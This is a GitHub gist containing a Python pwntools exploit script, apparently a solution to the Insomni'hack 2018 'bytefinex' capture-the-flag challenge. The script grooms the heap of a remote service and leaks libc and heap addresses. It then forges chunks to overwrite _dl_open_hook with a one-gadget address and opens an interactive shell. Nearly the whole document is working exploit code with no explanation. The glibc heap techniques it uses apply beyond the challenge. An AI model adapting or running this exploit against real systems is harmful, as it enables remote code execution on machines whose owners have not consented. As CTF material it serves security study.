-
-
Save yannayl/20fe83eb67a3c434a15b80710ba3de5e to your computer and use it in GitHub Desktop.
solution to insomnihack18 bytefinex challenge
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
context.bits = 64 | |
libc = ELF('./libc-223-05b841eae6f475817ebb3b99562cd6535cc61b099350a25019cd5d3b3136881d.so') | |
main = ELF('./bytefinex-8fe15d1eb750fe2cb0b2dae88a048c1876c799fb37f9d73ba3646f7d158774a9.bin.dbg') | |
dbg_file = './libc-2.23.debug' | |
local = False | |
if local: | |
r = main.process(env={'LD_PRELOAD' : libc.path}) | |
else: | |
r = remote("10.13.37.67", 1337) | |
def gdb_load_symbols_cmd(sym_file, elf, base): | |
sec_str = [] | |
for s in elf.sections: | |
if not s.name or not s.header.sh_addr: | |
continue | |
sec_str.append('-s {} 0x{:x}'.format(s.name, base + s.header.sh_addr)) | |
text_addr = elf.get_section_by_name('.text').header.sh_addr + base | |
return 'add-symbol-file {} 0x{:x} {} \n'.format(sym_file, text_addr, ' '.join(sec_str)) | |
BASE = 0x555555554000 | |
PS1 = "root@ubuntu:~#" | |
def addt(s, wait=True): | |
if '\0' in s: | |
s = s[:s.index('\0')] | |
success("addt " + s) | |
r.sendline("addt " + s) | |
if wait: | |
r.recvuntil(PS1) | |
def showt(): | |
r.sendline("showt") | |
ret = r.recvuntil(PS1, drop=True) | |
lines = filter(lambda x: "->" in x, ret.split('\n')) | |
for i in xrange(0, len(lines), 2): | |
tid = lines[i].split('-> ')[1] | |
label = lines[i+1].split('-> ')[1] | |
success("tid: {}, label: {}".format(tid, label)) | |
return lines | |
def delt(s): | |
success("delt " + s) | |
r.sendline("delt " + s) | |
r.recvuntil(PS1) | |
def chgt(o, n): | |
r.sendline("chgt " + o + " " + n) | |
r.recvuntil(PS1) | |
def addc(s): | |
success("addc " + s) | |
r.sendline("addc " + s) | |
r.recvuntil(PS1) | |
def showc(): | |
r.sendline("showc") | |
ret = r.recvuntil(PS1, drop=True) | |
lines = filter(lambda x: "->" in x, ret.split('\n')) | |
for i in xrange(0, len(lines), 2): | |
cid = lines[i].split('-> ')[1] | |
label = lines[i+1].split('-> ')[1] | |
success("tid: {}, label: {}".format(cid, label)) | |
return lines | |
def delc(s): | |
success("delc " + s) | |
r.sendline("delc " + s) | |
r.recvuntil(PS1) | |
def chgc(o, n): | |
r.sendline("chgc " + o + " " + n) | |
r.recvuntil(PS1) | |
def get_idt(label): | |
lines = showt() | |
for i in xrange(0, len(lines), 2): | |
tid = lines[i].split('-> ')[1] | |
tlabel = lines[i+1].split('-> ')[1] | |
if tlabel == label: | |
success("found label {}".format(label)) | |
break | |
else: | |
error("failed to find label") | |
return tid | |
def get_idc(label): | |
lines = showc() | |
for i in xrange(0, len(lines), 2): | |
cid = lines[i].split('-> ')[1] | |
clabel = lines[i+1].split('-> ')[1] | |
if clabel == label: | |
success("found label {}".format(label)) | |
break | |
else: | |
error("failed to find label") | |
return cid | |
debug = True | |
if local and debug: | |
gdb.attach(r, | |
gdb_load_symbols_cmd(dbg_file, libc, r.libs()[libc.path]) + """ | |
set substitute-path /build/glibc-bfm8X4/ /usr/src/glibc | |
b free | |
disable 1 | |
c""" | |
) | |
db = de_bruijn() | |
def dbget(n): | |
return ''.join([next(db) for _ in xrange(n)]) | |
def sortt(): | |
label = dbget(0x220) | |
addt(label) | |
delt(get_idt(label)) | |
r.recvuntil(PS1) | |
tlabel0 = dbget(0x157) | |
tlabel1 = dbget(0x17) | |
tlabel2 = dbget(0x17) | |
tlabel3 = dbget(0x17) | |
tlabel4 = dbget(0x37) | |
tlabel5 = dbget(0x117) | |
tlabel6 = dbget(0x17) | |
tlabel7 = dbget(0x17) | |
tlabel8 = dbget(0x17) | |
tlabel9 = dbget(0xb7) | |
tlabel10 = dbget(0xb7) | |
tlabel11 = dbget(0x18) | |
tlabel12 = dbget(0x17) | |
addt(tlabel0) | |
addt(tlabel1) | |
addt(tlabel2) | |
addt(tlabel3) | |
delt(get_idt(tlabel0)) | |
sortt() | |
addt(tlabel4) | |
delt(get_idt(tlabel2)) | |
sortt() | |
addt(tlabel5) | |
idt5 = get_idt(tlabel5) | |
repl = 'hcaahdaaheaahfaahgaahhaahiaahjaahkaahla' | |
idx = tlabel5.index(repl) | |
for i in xrange(len(repl), -1, -1): | |
chgt(idt5, tlabel5[:idx] + repl[:i] + (p64(0x100) + p64(0x21))[i:]) | |
delt(get_idt(tlabel4)) | |
delt(get_idt(tlabel1)) | |
delt(get_idt(tlabel3)) | |
sortt() | |
info(6) | |
addt(tlabel6) | |
info(7) | |
addt(tlabel7) | |
info(8) | |
addt(tlabel8) | |
delt(get_idt(tlabel6)) | |
delt(get_idt(tlabel7)) | |
sortt() | |
info(9) | |
addt(tlabel9) | |
info(10) | |
addt(tlabel10) | |
idt10 = get_idt(tlabel10) | |
delt(get_idt(tlabel8)) | |
info(11) | |
addt(tlabel11) | |
repl = "aalzaamb" | |
idt11 = get_idt(tlabel11) | |
idx = tlabel11.index(repl) | |
for i in xrange(len(repl), -1, -1): | |
chgt(idt11, tlabel11[:idx] + repl[:i] + (p64(0x40))[i:]) | |
delt(idt5) | |
info(12) | |
addt(tlabel12) | |
delt(get_idt(tlabel9)) | |
leak = showt()[1].split('-> ')[1] | |
print hexdump(leak) | |
LIBC_OFFSET = 0x3c4b78 | |
unsorted_bin = u64(leak[:8]) | |
heap_leak = u64(leak[8:16]) | |
libc.address = unsorted_bin - LIBC_OFFSET | |
info("libc: {:#x}".format(libc.address)) | |
if local: | |
assert libc.address == r.libs()[libc.path] | |
def putdata(idt, buf): | |
chgt(idt, 'a' * len(buf)) | |
for i in xrange(len(buf) - 1, -1, -1): | |
if '\0' != buf[i]: | |
continue | |
chgt(idt, 'a' * i + buf[i:]) | |
chgt(idt, buf) | |
## unsorted bin | |
chunk10 = heap_leak + 0xa324b0 - 0xa32200 | |
info("{:#x}".format(chunk10)) | |
putdata(idt10, | |
fit({ | |
0:flat(0, 0x401, dbget(8), chunk10 + 0x30, 0, 0), | |
0x30:flat(0, 0xa1, dbget(8), chunk10 + 0x60, 0, 0), | |
0x60:flat(0, 0x411, dbget(8), chunk10 + 0x90, 0, 0), | |
0x90:flat(0, 0xa1, dbget(8), chunk10 + 0x90, 0, 0), | |
})) | |
putdata(idt11, flat(0xdeadbeef, chunk10)) | |
db2 = de_bruijn() | |
def dbg2(n): | |
return ''.join([next(db2) for _ in xrange(n)]) | |
raw_input('fdsafdas') | |
tlabel13 = dbget(0x117) | |
addt(tlabel13) | |
putdata(idt10, | |
fit({ | |
0:flat(0, 0x401, dbget(8), chunk10 + 0x30, dbg2(8), libc.symbols["_dl_open_hook"] - 0x20), | |
0x30:flat(0, 0xa1, dbget(8), chunk10 + 0x60, 0, 0), | |
0x60:flat(0xf1147 + libc.address, 0x411, dbget(8), chunk10 + 0x90, 0, 0), | |
0x90:flat(0, 0xa1, dbget(8), chunk10 + 0x90, 0, 0), | |
})) | |
addt(tlabel0, wait=False) | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment